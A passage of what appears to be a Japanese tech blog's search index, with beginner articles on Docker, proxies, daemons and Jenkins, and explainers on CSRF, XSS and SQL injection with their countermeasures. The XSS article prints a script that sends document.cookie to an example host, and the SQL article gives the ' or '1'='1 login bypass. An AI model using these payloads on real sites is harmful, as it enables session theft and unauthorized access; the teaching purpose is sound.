経費\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e売上は、商品やスキルを売ってダイレクトに入ってくるお金。\u003c/p\u003e\n\u003cp\u003e経費は、売上をあげるために必要なお金。\u003c/p\u003e","title":"所得税の決まり方"},{"content":"Dockerには、Docker Swarmというクラスタ管理機能というツールがある。\nこのクラスタとはなにか。\nクラスタとは、複数のシステムをまとめて1つのシステムとして振る舞っているもの。\nクラスタ化することをクラスタリングと言われたりもする。\nDocker Swarmでは、複数のDockerホストをネットワーク接続しグループ化することで1つのDockerホストのように管理ができる。\nこれを、Dockerのクラスタ管理という。\n","permalink":"https://pop-web.github.io/server/docker-cluster/","summary":"\u003cp\u003eDockerには、Docker Swarmというクラスタ管理機能というツールがある。\u003c/p\u003e\n\u003cp\u003eこのクラスタとはなにか。\u003c/p\u003e\n\u003cp\u003eクラスタとは、\u003cstrong\u003e複数のシステムをまとめて1つのシステムとして振る舞っているもの。\u003c/strong\u003e\u003c/p\u003e","title":"Dockerのクラスタとは？"},{"content":"停止中のコンテナ、未使用イメージ、未使用ボリュームを削除するコマンド $ docker system prune ※ちなみに「prune」は、切り取る、削る、取り除くといった意。\n","permalink":"https://pop-web.github.io/server/docker-container-all-remove/","summary":"\u003ch2 id=\"停止中のコンテナ未使用イメージ未使用ボリュームを削除するコマンド\"\u003e停止中のコンテナ、未使用イメージ、未使用ボリュームを削除するコマンド\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ docker system prune\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e※ちなみに「prune」は、切り取る、削る、取り除くといった意。\u003c/p\u003e","title":"Dockerコンテナの一括削除コマンド"},{"content":"スキーマは、テーブルといったオブジェクトをグループ化したもの。\nMySQLの場合、データベースを作成した後、その中に複数のテーブルを格納するのでスキーマはデータベースということになる。\nしかし、PostgreSQLやOracleの場合、データベースの中に複数のスキーマを作成される、そしてさらにそのスキーマの中に複数のテーブルを格納することとなる。\n共通して言えることはスキーマの中にテーブルがあり、テーブルへ実際のデータが格納されているということ。\n単に「データベース」って呼んでしまうと、PostgreSQLやOracleでいう複数のスキーマたちを指しているのかもしれないし、MySQLといったソフトウェア自体のことを指しているのかもしれない。\nなので、みんなで仕事をする時に、呼び分けるために「スキーマ」と呼ぶ。\n","permalink":"https://pop-web.github.io/programming/db/schema/","summary":"\u003cp\u003e\u003cstrong\u003eスキーマは、テーブルといったオブジェクトをグループ化したもの。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eMySQLの場合、データベースを作成した後、その中に複数のテーブルを格納するのでスキーマはデータベースということになる。\u003c/p\u003e","title":"スキーマってデータベース（DB）のことじゃないの？その違いについて。"},{"content":"Docker MachineとはDocker（Dockerホスト）の実行させる仮想環境を管理するツール。\n当初、DockerはLinux環境でしか使えなかった。そのため、MacやWindowsではVirtualBoxで仮想環境を構築しその上にDockerを動作させていた。\nしかし、Docker for MacやDocker for Windowsなどが登場して、単にDockerを利用する際には、Docker Machineは使われなくなった。\n使われる場合としては、AWSやGCPといったクラウド環境へDocker環境を構築する際にに使われる。\nDocker Machineが便利なところは、コマンドラインからリモートのクラウド環境下でDockerホストを簡単に作成・管理するができること。\nDocker Machineは使うには、事前にVirtualBoxをインストールしておく。\nDocker Machineの基本操作 Dockerホストのリスト表示 docker-machine ls Dockerホストの作成・起動 「\u0026ndash;driver」で仮想化のドライバーとしてvirtualboxを使用し名前をdefaultという名のDockerホストを作成する。作成と同時に起動もしてくれる。--driver virtualboxは省略可。\ndocker-machine create --driver virtualbox default Dockerホストの停止 docker-machine stop default Dockerホストの起動 docker-machine start default Dockerホストに接続 作成したDockerホストへ接続する。\nまず、接続対象のDockerホストを設定する。envコマンドを使う。\ndocker-machine env default export DOCKER_TLS_VERIFY=\u0026#34;1\u0026#34; export DOCKER_HOST=\u0026#34;tcp://192.168.99.100:2376\u0026#34; export DOCKER_CERT_PATH=\u0026#34;/Users/hogeyama/.docker/machine/machines/default\u0026#34; export DOCKER_MACHINE_NAME=\u0026#34;default\u0026#34; # Run this command to configure your shell: # eval $(docker-machine env default) いろいろと環境設定がでてくるが、一番下のコマンドを入力すれば自動で設定される。\neval $(docker-machine env default) docker-machine lsでdockerホストのACTIVEステータスが「*」になってアクティブになっていること確認。\n適当なコンテナを起動する。\ndocker run -d -p 8080:80 nginx sshコマンドでssh接続する。\ndocker-machine ssh default 接続できたら、docker ps -aなどで先程作成したnginxのコンテナがあることが確認できる。\nまた、DockerホストのIPを確認するにはipコマンド確認できる。\ndocker-machine ip default 表示されたIPの8080番ポートをつかってブラウザでアクセスすると、nginxデフォルトページが確認できる。\nhttp://{IPアドレス}:8080 Dockerホストの接続対象の解除 接続対象のDockerホストを解除するには、envコマンドに-uオプションをつける。\ndocker-machine env -u そして、このコマンドで最後に表示されたコマンドを入力することで解除ができる。\neval $(docker-machine env -u) docker-machine lsでdockerホストのACTIVEステータスが「-」になっていることを確認。\n","permalink":"https://pop-web.github.io/server/docker-machine/","summary":"\u003cp\u003eDocker MachineとはDocker（Dockerホスト）の実行させる仮想環境を管理するツール。\u003c/p\u003e\n\u003cp\u003e当初、DockerはLinux環境でしか使えなかった。そのため、MacやWindowsではVirtualBoxで仮想環境を構築しその上にDockerを動作させていた。\u003c/p\u003e","title":"【Docker初心者向け】Docker Machineとは？"},{"content":"Docker for Macをインストールしたが、docker-machineとコマンド入力してもそんなもんは見つからないと言われ、Docker Machineが使えなかった。\n調べてみると、以前はDockerインストールと同時に一緒インストールされていたが、今はされない模様。\nなので、以下のURL先を参考に手動でインストールする。\nhttps://github.com/docker/machine/releases/\nURL先を参考に以下のコマンドを入力。\ncurl -L https://github.com/docker/machine/releases/download/v0.16.2/docker-machine-`uname -s`-`uname -m` \u0026gt;/usr/local/bin/docker-machine \u0026amp;\u0026amp; \\ chmod +x /usr/local/bin/docker-machine これで、Docker Machineが使えるようになる。\n","permalink":"https://pop-web.github.io/server/docker-machine-install/","summary":"\u003cp\u003eDocker for Macをインストールしたが、\u003ccode\u003edocker-machine\u003c/code\u003eとコマンド入力してもそんなもんは見つからないと言われ、Docker Machineが使えなかった。\u003c/p\u003e","title":"【Docker Machine】docker-machine command not foundとなるので手動でインストール"},{"content":"docker commitでコンテナ内で作業した内容を、イメージとして保存することができる。\nコマンドは以下のよう。\ndocker commit {コンテナID or コンテナ名} {新しいイメージ名}:{タグ名} 実際に適当なコンテナを起動してシェルに接続して変更をしてみる。\ndocker run --name nginx-test -it -d --rm nginx /bin/bash シェルに接続する。\ndocker exec -it nginx-test /bin/bash tmpディレクトリに任意サイズのファイルを作成する。\nここでは、1MBファイルを作成\ncd tmp/ dd if=/dev/zero of=dummy10M bs=1M count=1 exitで接続を抜ける\nexit docker commitで新しいイメージを作成する。\ndocker commit nginx-test nginx-test:tag1 docker imagesで新しくイメージができていることを確認。\n新しいイメージでコンテナを起動してシェルに接続、1MBファイルがあることを確認する。\ndocker run -it nginx-test:tag1 /bin/bash cd tmp/ ls -lh total 1.0M -rw-r--r-- 1 root root 1.0M Mar 1 08:54 dummy10M また、イメージに過去にどんなレイヤーが追加されたの確認するにはdocker historyを使う。\ndocker history {イメージID or イメージ名} ちなみに、docker historyを確認しても、詳しいコンテナ内のコマンド操作は記載されることはない。\nなので、基本的にはDockerfileでコマンド操作を記述しイメージを変更・作成することが推奨されている。\n","permalink":"https://pop-web.github.io/server/docker-commit/","summary":"\u003cp\u003e\u003ccode\u003edocker commit\u003c/code\u003eでコンテナ内で作業した内容を、イメージとして保存することができる。\u003c/p\u003e\n\u003cp\u003eコマンドは以下のよう。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003edocker commit {コンテナID or コンテナ名} {新しいイメージ名}:{タグ名}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e実際に適当なコンテナを起動してシェルに接続して変更をしてみる。\u003c/p\u003e","title":"【Docker初心者向け】commitコマンドでイメージを作成"},{"content":"Dockerのコンテナにシェル接続する方法は2つある。\ndocker attachとdocker exec。\ndocker attach docker attach {コンテナID or コンテナ名} exitコマンドで接続を抜けると、コンテナが停止してしまう。\nコンテナを停止させずに接続から抜けたい場合は、「Ctrl + P」「Ctrl + Q」とする。\ndocker exec docker exec -it {コンテナID or コンテナ名} /bin/bash exexは、コンテナ内の任意のコマンドを実行できるコマンド。\nexitコマンドで接続を抜けても、コンテナは停止しない。\n","permalink":"https://pop-web.github.io/server/docker-attach-exec/","summary":"\u003cp\u003eDockerのコンテナにシェル接続する方法は2つある。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003edocker attach\u003c/code\u003eと\u003ccode\u003edocker exec\u003c/code\u003e。\u003c/p\u003e\n\u003ch1 id=\"docker-attach\"\u003edocker attach\u003c/h1\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003edocker attach {コンテナID or コンテナ名}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eexitコマンドで接続を抜けると、コンテナが停止してしまう。\u003c/p\u003e","title":"【Docker初心者向け】シェルの接続（attach,exec）"},{"content":"プロキシ（Proxy）は「代理」という意味。\nプロキシサーバとは プロキシサーバは、基本的に社内ネットワークの境界に設置される。\nそのため、社内ネットワーク内のクライアントからインターネットへアクセスする際は、必ずプロキシサーバを経由することになる。\nリバースプロキシサーバとは リバースプロキシサーバは、基本的にDMZに設置される。\nDMZとは何かというと、インターネット（外部）と内部ネットワークの中間に作られる領域のこと。「非武装地帯(DeMilitarized Zone)」とも呼ばれる。\nリバースプロキシサーバは、プロキシサーバとは逆で、インターネットからサーバ側の内部ネットワークへアクセスする際に経由させるサーバーのこと。\n","permalink":"https://pop-web.github.io/server/linux/proxy-reverse-proxy/","summary":"\u003cp\u003eプロキシ（Proxy）は「代理」という意味。\u003c/p\u003e\n\u003ch2 id=\"プロキシサーバとは\"\u003eプロキシサーバとは\u003c/h2\u003e\n\u003cp\u003eプロキシサーバは、基本的に社内ネットワークの境界に設置される。\u003c/p\u003e\n\u003cp\u003eそのため、社内ネットワーク内のクライアントからインターネットへアクセスする際は、必ずプロキシサーバを経由することになる。\u003c/p\u003e","title":"プロキシサーバとリバースプロキシの違い"},{"content":"Dockerコンテナの各ステータスについて説明する。\ncreatedステータス コンテナが作成された状態。コンテナは起動していない。\ndocker createをつかってコンテナを作成する。\ndocker create --name ubuntu-test -it ubuntu /bin/sh 「-it」はコンテナ内でコマンドの入出力をするためのオプション。\n最後につけた「/bin/sh」はコンテナ起動時に最初に実行するコマンド。\n「/bin/sh」でシェルを実行することでその後のコマンドを打てるようにするため。これがないとコマンドが打てない。\nステータスを確認 以下のコマンドでステータスを確認。\ndocker inspect ubuntu-test 「Status」が「created」ステータスになっていること確認できる。\ndocker ps -aでも確認できる。\nrunningステータス createdステータスのコンテナをdocker startで「running」ステータスにすることができる。\ndocker start ubuntu-test ステータスを確認 docker inspect ubuntu-testで確認すると「Status」が「running」ステータスになっていること確認できる。\ndocker psでも確認できる。\ndocker runコマンドは、「create」と「start」を同時に行う。\npausedステータス docker pauseでコンテナを一時停止させる。\ndocker pause ubuntu-test docker inspect ubuntu-testで確認すると「Status」が「paused」ステータスになっていること確認できる。\ndocker ps -aでも確認できる。\nこの一時停止はdocker unpauseで解除できる。\ndocker unpause ubuntu-test restartingステータス docker restartでコンテナを再起動できる。再起動中に「restarting」ステータスとなる。\nexitedステータス 「exited」ステータスはコンテナが終了した状態のこと。\nコンテナは終了してもの「exited」ステータスとして残り続ける。\ndocker runでフォアグラウンドで実行させるオプションを付けずに実行すると、そのまま終了となり、「exited」ステータスとなる。\ndocker run --name ubuntu-test ubuntu また、「running」ステータスのコンテナへはdocker stopとコマンドを使うと終了とさせることができる。\ndocker stop ubuntu-test removingステータス 「removing」ステータスは、コンテナ削除中のステータス。\n削除中のステータスなので削除されてしまった後の状態を見ることはあまりない。\nコンテナの削除はdocker rmでおこなう。停止中のコンテナにしか実行できない。実行中のコンテナを強制削除する場合は-fオプションを付与する。\ndeadステータス 「dead」テータスは、正常に終了できなかったコンテナの状態。削除するか、強制削除をする。\n","permalink":"https://pop-web.github.io/server/docker-status/","summary":"\u003cp\u003eDockerコンテナの各ステータスについて説明する。\u003c/p\u003e\n\u003ch2 id=\"createdステータス\"\u003ecreatedステータス\u003c/h2\u003e\n\u003cp\u003eコンテナが作成された状態。コンテナは起動していない。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003edocker create\u003c/code\u003eをつかってコンテナを作成する。\u003c/p\u003e","title":"【Docker初心者向け】コンテナのステータスについて"},{"content":"docker run又は、docker createのオプションで「-it」とすることで、コンテナをフォアグラウンドで実行状態とし、シェル接続した際にコマンドの入出力ができるようになる。\nこのオプションの「-it」はなにをしているか？\n「-t」とは 「-t」は、ttyのこと。\nttyとは、標準入出力ができる接続先端末（デバイス）情報のこと。\n例えば、サーバーへsshでリモート接続などしている時、\n今、自分がなんの端末（デバイス）を使っているを表示するには、ttyコマンドをうつ。\n$ tty /dev/pts/0 出力された「/dev/pts/0」が自分の端末（デバイス）情報になる。\n試しに、開いているターミナルはそのままにして、別ターミナルを開きssh接続してttyコマンドをうつ。\n$ tty /dev/pts/1 出力された「/dev/pts/1」となり、さっきとは別の端末（デバイス）情報が割り当てられていることが分かる。\nまた、wコマンドで接続している端末（デバイス）を一覧で確認できる。\nはじめに立ち上げたターミナルから以下のコマンドから、以下のコマンドうってみる。\necho test \u0026gt; /dev/pts/1 別ターミナルを開いてssh接続したコンソールへtestと出力されたことが分かる。\n$ test docker runのオプションである「-t」はttyをコンテナに割り当てるオプション。\nつまり、コンテナの標準出力をホスト側の標準出力につなげることをしている。\nこうすることで、コンテナの標準出力をホスト側のコンソールで表示させることができる。\n逆に「-t」オプションを付けないでコンテナを起動して操作しても、コンソール上になにも表示されてないことになる。\n「-i」とは 「-i」はinteractiveのこと。\nホスト側の標準出力をコンテナの標準出力につなげることをする。\n「-i」がない場合は、コンテナへ出力を送ることができなくなるので、コンテナ内で何も実行がされなくなる。\n「-i」と「-t」を組みわせると 以上の説明より\n「-i」と「-t」を組みわせて「-it」オプションつけることで、コンテナのコマンド入出力を可能となる。\nつまり、コンテナ内での操作が自由にできるようになる。\n「-it」がない場合は？ 以下のような「-it」オプションがない場合、シェルがすぐに終了するためコンテナが停止する。\ndocker run --name ubuntu-test -d ubuntu ","permalink":"https://pop-web.github.io/server/docker-it/","summary":"\u003cp\u003edocker run又は、docker createのオプションで「-it」とすることで、コンテナをフォアグラウンドで実行状態とし、シェル接続した際にコマンドの入出力ができるようになる。\u003c/p\u003e","title":"Dockerの-itオプションの解説 ttyとinteractiveとは？"},{"content":"Dockerとは Dockerとは、コンテナ型の仮想環境を作成できるもの。ちなみにGo言語で書かれている\nミドルウェアのイストールや各種設定をコード化して管理しており、共有しやすいという利点がある。\nDockerイメージとは コンテナを実行するために必要なファイル。\nレイヤー構造で構成されており読み取り専用となっていおり、レイヤーはコマンドを実行するたびに積み重ねられる。\nDockerイメージをもとにコンテナを起動すると、コンテナレイヤーというレイヤーができる。コンテナレイヤーは読み書き可能なレイヤーとなっている。\nこのコンテナレイヤーで過去のレイヤーで追加したファイルを削除することもできるが、履歴として過去のレイヤーにファイルは残り続ける。\nDockerコンテナとは DockerコンテナとはDockerイメージを元に作成される仮想環境。\n基本的にDockerコンテナは停止した後も停止ステータスとして残りつづける。\nDocker Hubとは Docker Hubとは、Dockerイメージを公開しているレジストリサービス\nDockerのインストール 公式サイトでDockerをインストールします。\nコンテナの起動してみる Hello woldというメッセージを表示する簡単なイメージを動かす。\ndocker run hello-world docker run のコマンドは、以下の3つのコマンドを一度に実行するコマンドである。\ndocker pull ：イメージの取得 docker create ：コンテナの作成 docker start ：コンテナの起動 ローカルPCに常駐しているDockerデーモンがhello-worldというイメージを探しに行く。\nローカルPC上にイメージがない場合、DockerデーモンはDocker Hubにイメージを探しに行く（docker pull）\nイメージをダウンロードして作成(docker create)、イメージからコンテナ起動する(docker start)\nすでに、ローカルPC上にイメージが存在している場合は、そのイメージからコンテナを起動するので処理は早くなる。\nDockerイメージの基本操作 ローカルにあるイメージを確認\ndocker images ローカル上にあるイメージにタグ付けし、新しいイメージ名でイメージを作成したい場合\ndocker tag {ローカルにあるイメージ名} {新しいイメージ名}:{タグ名} イメージの詳細情報\ndocker inspect {イメージ名} イメージの削除\ndocker rmi {イメージ名} イメージの強制削除の場合、-fを付ける\ndocker rmi -f {イメージ名} イメージの作成 イメージを作成するためには、まず作業ディレクトリ内にDockerfileという名のファイルを作成する。\nDockerfileからイメージを作ることをイメージビルドという。\nまず、Dockerfileを編集する。\n各行へ「命令 引数」といった書式で書いていく。\nそして、各命令ごとに新しいレイヤーが追加されていく。\n下記の命令ではwhalesayイメージへ新たに3つのレイヤーが追加されたこととなる。\nFROM docker/whalesay RUN apt-get -y update \u0026amp;\u0026amp; apt-get install -y fortunes CMD /usr/games/fortune | cowsay 各命令について説明する。\nFROM イメージを作成する際のベースとなるイメージを指定する命令。今回はwhalesayイメージというコンソールでクジラが話しているアスキーアートを表示するイメージ。whalesayイメージは、Linux ディストリビューションのUbuntuがイメージのベースとなっている。\nRUN イメージビルド時に実行するコマンドを指定する命令。\nCMD コンテナ起動時に実行するコマンドを指定する命令。\nDockerfileからイメージビルド Dockerfileからイメージをビルドするには以下のコマンドを実行。\ndocker build -t test-build . -tオプションは、ビルドしたイメージに名前を付けるオプション。\n最後のピリオドは、ビルドコンテキスト指定でイメージを作成する際のファイルなどの範囲をあわらす。\nピリオドの場合は、カレントディレクトリの意味。\nビルドを実行したら、docker imagesでイメージを確認できる。\nキャッシュを読み込みたくない時は、\u0026ndash;no-cacheオプションを使用する。\ndocker build --no-cache -t test-build . イメージからコンテナの実行 イメージからコンテナを実行。\ndocker run test-build 実行すると、クジラのアスキーアートの吹き出しに名言が表示されて、実行するたびにその名言が変わるのが確認できる。\nNginxイメージでWebサーバーをたてる NginxイメージでWebサーバーたてていく。\nDcokerHubのメニューの「Explore」から検索に行き、「nginx」と検索してNginxのイメージを見つける。\nNginxイメージの説明の中のExposing external portにある以下のコマンドを参考にする。\ndocker run --name some-nginx -d -p 8080:80 some-content-nginx --nameオプションは起動するコンテナ名に名前をつけるオプション。\n-dオプションはデタッチモードのことで、コンテナをバックグラウンドで起動するオプション。\n-pオプションはホストとコンテナのポートマッピングを設定するオプション。ここでは、8080はホストマシンが外部から受けるポート番号。80はコンテナにマッピングされるポート番号。\nローカルでコンテナ起動している場合、localhostの8080番ポートにアクセスすればコンテナの80番ポートに転送される。\nNginxコンテナの起動 以下のコマンドでnginxコンテナの起動。\ndocker run --name test-nginx -d -p 8080:80 nginx ブラウザでlocalhostの8080番ポートにアクセスし確認。\nhttp://localhost:8080/ Nginxのデフォルトページが確認できればOK。\nコンテナ停止とともにコンテナを削除 Dockerのコンテナは、コンテナが停止しても停止ステータスとして残り続ける。\nコンテナが停止した時点でコンテナを削除したい場合は、\u0026ndash;rmオプションを付ける。\ndocker run --name test-nginx --rm -d nginx ディレクトリのマウント ホスト側のディレクトリをコンテナ側でマウントするには、DockerHubのNginxイメージの説明の中のHosting some simple static contentにある以下のコマンドを参考にする。\ndocker run --name some-nginx -v /some/content:/usr/share/nginx/html:ro -d nginx -vオプション部分のコロン区切りになっているところでマウントするティレクトリを指定する。\n**はじめのコロンまでがホスト側のディレクトリのパスで次がコンテナ側ディレクトリのパス。**最後のroはReadOnlyの略で、読み取り専用でマウントするオプション指定。\nマウントしてNginxコンテナの起動 以下のコマンドでマウントしてnginxコンテナの起動。\ndocker run --name mount-nginx -v /Users/user/mount-test/html:/usr/share/nginx/html:ro -d -p 8080:80 nginx ホスト側のディレクトリ（/Users/user/mount-test/html）は任意で作成して、index.htmlなどを配置しておく。\nブラウザでlocalhostの8080番ポートにアクセスし確認。\nhttp://localhost:8080/index.html index.htmlの内容が表示されればOK。\n","permalink":"https://pop-web.github.io/server/docker-nginx/","summary":"\u003ch1 id=\"dockerとは\"\u003eDockerとは\u003c/h1\u003e\n\u003cp\u003eDockerとは、コンテナ型の仮想環境を作成できるもの。ちなみにGo言語で書かれている\u003c/p\u003e\n\u003cp\u003eミドルウェアのイストールや各種設定をコード化して管理しており、共有しやすいという利点がある。\u003c/p\u003e","title":"【Docker初心者向け】Dockerとは？Nginxサーバ構築するまで"},{"content":"Linuxなどを界隈でよく聞くデーモンとは？\nデーモンとは、UNIX系のOS（Linux, MacOSX）における常駐プログラム。\n主にバックグラウンドで動作している。\n利用者が直接操作することはできない。\n末尾に「d」が付くものはだいたいデーモンで、httpd、sshd、firewalldなどなどがある。\n","permalink":"https://pop-web.github.io/server/linux/daemon/","summary":"\u003cp\u003eLinuxなどを界隈でよく聞くデーモンとは？\u003c/p\u003e\n\u003cp\u003eデーモンとは、UNIX系のOS（Linux, MacOSX）における常駐プログラム。\u003c/p\u003e\n\u003cp\u003e主にバックグラウンドで動作している。\u003c/p\u003e","title":"デーモンとは（UNIX系OS/Linux, MacOSX）"},{"content":"Webアプリケーション側の脆弱性を利用した攻撃方法。この攻撃はWebアプリケーションとは他のサイトからの不正リクエストを処理してしまう。\n攻撃手法の例 クロスサイトリクエストフォージェリ（CSRF）は、まず攻撃者は事前に攻撃用スクリプトが組み込まれた攻撃用サイトを用意する。\n攻撃用スクリプトは掲示板などの攻撃対象サーバへ不正リクエストを送信するようになっている。\nそして、ユーザーをこの攻撃用サイトへ誘導するようなURLリンクをサイトやメールに設置する。\nユーザーがそのURLリンクをクリックすることで、攻撃用スクリプトが実行され攻撃対象サーバの掲示板などに書き込みが行われる。\nこのように攻撃者はユーザを踏み台として攻撃対象サーバを攻撃するため、ユーザーが攻撃者として判断されてしまうことがある。\n対策方法 対策方法として、送信側の送信フォームが自分のサーバで生成されてものかを確認すればよい。\nまず、Webアプリケーション側の自分サーバでフォームを生成して表示する際に、ワンタイムトークンをランダムな文字列を生成する。\nそして、ワンタイムトークンはフォーム表示の際にinputタグのhiddenに記述して埋め込んでおく。\n\u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;token\u0026#34; value=\u0026#34;{ワンタイムトークン}\u0026#34; /\u0026gt; サーバへ送信する際にこのhidddenのワンタイムトークンの値も送信され、受け取ったサーバ側でそのトークンが自分のサーバで生成されたトークンかチェックする。\nこうすることで、正しいワンタイムトークンを持っていないフォームから送信は拒否することができる。\n","permalink":"https://pop-web.github.io/programming/csrf/","summary":"\u003cp\u003eWebアプリケーション側の脆弱性を利用した攻撃方法。この攻撃はWebアプリケーションとは他のサイトからの不正リクエストを処理してしまう。\u003c/p\u003e\n\u003ch2 id=\"攻撃手法の例\"\u003e攻撃手法の例\u003c/h2\u003e\n\u003cp\u003eクロスサイトリクエストフォージェリ（CSRF）は、まず攻撃者は事前に攻撃用スクリプトが組み込まれた攻撃用サイトを用意する。\u003c/p\u003e","title":"クロスサイトリクエストフォージェリ（CSRF）とは？攻撃手法と対策"},{"content":"クロスサイトスクリプティング（XSS）は、HTMLの中に悪意のあるJavaScriptのソースコードを埋め込んでスクリプトを実行すること。\nこの悪意のあるスクリプト実行されることで、Webページの情報の改竄やクッキー情報が盗まれて個人情報流出といったことが起こる。\n攻撃手法の例 クロスサイトスクリプティング（XSS）は、Webページにあるフォームに入力された文字列がそのままHTMLへ出力されるようなサイトが標的になる。\n以下のような登録画面から入力内容を確認する確認画面（confirm.php）へ遷移するアプリケーションがあったとする。\n・create.php（登録画面） \u0026lt;h1\u0026gt;登録画面\u0026lt;/h1\u0026gt; \u0026lt;form action=\u0026#34;/confirm\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;item\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;確認画面へ\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; ・confirm.php（確認画面） \u0026lt;h1\u0026gt;確認画面\u0026lt;/h1\u0026gt; 登録内容：\u0026lt;?php echo $item; ?\u0026gt; このアプリケーション場合、登録画面で入力した内容がそのまま確認画面へ出力される。\nこのフォームへ以下の悪意のあるコードを入力したとする。\n\u0026#34;\u0026gt;\u0026lt;script\u0026gt;document.location=\u0026#39;http://example.blog.pop-web.net?\u0026#39;+document.cookie;\u0026lt;/script\u0026gt; そうすると、document.locationで指定された攻撃者のサイトへリダイレクトされ、そのURLパラメータにクッキー情報が含まれてしまい、個人情報などが盗まれてしまう。\nまた、XSSはセッションハイジャックの被害にも繋がる。\n対策方法 クロスサイトスクリプティング（XSS）の対策としては、HTMLへ出力する際にサニタイズすること。\nサニタイズとは無害化することで、HTML特殊文字をエスケープしてくれる。\n例えば、「\u0026lt;」「\u0026gt;」といった文字列を「＆lt;」「＆gt;」へ変換してJavaScriptコードが処理されてないようにしてくれる。\nPHPだとサニタイズする関数としてhtmlspecialchars関数がある。使い方はhtmlspecialchars関数の引数にサニタイズしたい文字列をいれるだけ。\nさっきのconfirm.phpだと、以下のように修正される。\n\u0026lt;h1\u0026gt;確認画面\u0026lt;/h1\u0026gt; 登録内容：\u0026lt;?php echo htmlspecialchars($item,ENT_QUOTES); ?\u0026gt; こうすることでJavaScriptのコードをフォームに入力して、それを出力しても、ブラウザ上ではただの文字列として表示されることなる。\nちなみに、第二引数の「ENT_QUOTES」はシングルクオートとダブルクオート共に変換するという指定。一般的に「ENT_QUOTES」が使われることが多い。\n","permalink":"https://pop-web.github.io/programming/xss/","summary":"\u003cp\u003eクロスサイトスクリプティング（XSS）は、HTMLの中に悪意のあるJavaScriptのソースコードを埋め込んでスクリプトを実行すること。\u003c/p\u003e\n\u003cp\u003eこの悪意のあるスクリプト実行されることで、Webページの情報の改竄やクッキー情報が盗まれて個人情報流出といったことが起こる。\u003c/p\u003e","title":"クロスサイトスクリプティング（XSS）とは？攻撃手法と対策（PHP例）"},{"content":"SQLインジェクションとは、Webアプリケーションに対する攻撃方法のこと。\nまず、攻撃者はWebアプリケーションの入力フォームといったインターフェース利用する。\nそして、入力フォームにSQL文を入力し組み込むことでアプリケーション側では意図としないSQL文が生成されて、情報の不正取得や改竄を行われてしまう。\n攻撃手法の例 以下のようなログイン入力フォームがあるとする。\nそして、ログイン認証処理のSQL文が以下になっていたとする。\n\u0026#34;SELECT * FROM users WHERE email=\u0026#39;\u0026#34; . $email . \u0026#34;\u0026#39; AND password=\u0026#39;\u0026#34; . $pass . \u0026#34;\u0026#39;\u0026#34; このフォームにメールアドレスに適当な文字列、パスワード入力フォームに「\u0026rsquo; or \u0026lsquo;1\u0026rsquo;=\u0026lsquo;1」を入力して実行すると以下のようなSQL文が組み立てられることとなる。\n\u0026#34;SELECT * FROM users WHERE email=\u0026#39;test\u0026#39; AND password=\u0026#39;\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39;\u0026#34; WHERE句に最後に「or \u0026lsquo;1\u0026rsquo;=\u0026lsquo;1\u0026rsquo;」に追加されることとなり、SQLの実行結果としてテーブルのすべてのレコードが取得できる。\n仮に、レコードが取得できればログインできるようなロジック処理になっていればユーザ名とパスワードが不明でもログインできてしまうことになる。\n対策方法 対策方法として、プリペアード・ステートメント（Prepared Statement）の利用がある。\nプリペアード・ステートメントは、WHERE句でユーザー入力によって変化する部分をプレースフォルダにしてSQL文を用意しておき、その後にプレースフォルダ部分を差し替える方法。\nこうすることで、事前にプレースフォルダを割り当てて用意したSQL文の構造をあとから変更することができないようになり、SQLインジェクションの対策となる。\n以下、PHPの場合の例\n$stmt = $db-\u0026gt;prepare(\u0026#39;SELECT * FROM users WHERE id = :id\u0026#39;); $stmt-\u0026gt;execute(array(\u0026#39;:id\u0026#39; =\u0026gt; $id)); 「:id」の部分がプレースフォルダとなっている。そしてexecuteでクエリ実行の際に引数としてプレースフォルダと値をバインドする。\n","permalink":"https://pop-web.github.io/programming/sql-injection/","summary":"\u003cp\u003eSQLインジェクションとは、Webアプリケーションに対する攻撃方法のこと。\u003c/p\u003e\n\u003cp\u003eまず、攻撃者はWebアプリケーションの入力フォームといったインターフェース利用する。\u003c/p\u003e","title":"SQLインジェクションとは？攻撃手法と対策（PHP例）"},{"content":"Dockerの入門書等には、Dockerのメリットとしてオーバーヘッドを小さく抑えられるから軽量で起動が早いという記述をよく目にする。\nこのオーバーヘッドとは簡単にいうと、余計なコストのこと。\n従来のホスト型仮想化に比べてDockerのコンテナ型仮想化だと余計なコストを省いてくれる。\nそのため、動作も早くシステムのリソース（資源）の使用量も少なくて済む。\nこのオーバーヘッドという用語はDocker以外のIT分野でも使われるし、さらにIT分野以外のでも使われる。\n","permalink":"https://pop-web.github.io/server/docker-overhead/","summary":"\u003cp\u003eDockerの入門書等には、Dockerのメリットとして\u003cstrong\u003eオーバーヘッドを小さく抑えられるから軽量で起動が早い\u003c/strong\u003eという記述をよく目にする。\u003c/p\u003e\n\u003cp\u003eこのオーバーヘッドとは簡単にいうと、\u003cstrong\u003e余計なコスト\u003c/strong\u003eのこと。\u003c/p\u003e","title":"Dockerのオーバーヘッドとは"},{"content":"さくらのVPSでJenkinsのインストール手順を説明\n前提として、Nginxがインストール済みであること。\nNginxのインストールついては、以前の記事で書いた。\nhttps://blog.pop-web.net/server/linux/nginx-install/\nJenkinsのインストール手順 さくらのVPSへSSH接続しておく。\nJavaのインストール JekinsはJavaの実行環境が必要があるためインストールする。\nsudo yum install java-1.8.0-openjdk Jenkinsのインストール 公式サイトの手順をそのまま\nJenkinsはyumでいきなりインストールすることができない。\nそのため、yumリポジトリと公開鍵を追加する。\nsudo wget -O /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key 上記が完了したら、以下コマンドでインストールができる\nyum install jenkins 